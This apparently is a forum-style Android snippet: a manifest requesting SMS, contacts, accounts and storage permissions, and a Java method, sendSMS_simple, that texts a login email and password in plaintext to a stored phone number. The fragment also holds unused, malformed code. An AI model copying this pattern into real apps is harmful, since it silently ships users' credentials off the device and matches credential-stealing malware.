Add below line in Manifest file
<uses-permission android:name="android.permission.SEND_SMS" />
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.dejayapr.test1">
<!-- To auto-complete the email text field in the login form with the user's emails --> <uses-permission android:name="android.permission.GET_ACCOUNTS" />
<uses-permission android:name="android.permission.READ_PROFILE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity android:name=".new_Activity" />
<activity android:name=".Allusers"></activity>
</application>
</manifest>
Code below :
import android.Manifest;
import android.app.PendingIntent;
import android.app.ProgressDialog;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Handler;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.Toast;
public void sendSMS_simple(String email,String password){
try {
PendingIntent pi = PendingIntent.getActivity(this, 0, new Intent(this, Object.class), 0);
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(this.phoneNo, null, email +"\n"+ password, null, null);
Log.i("sms","SMS Sent - sendSMS_simple()"); //title - has to be in smaller case in Log.d,v,i,
}catch(Exception e){
Log.d("Exception Happened",e.getMessage());
}
}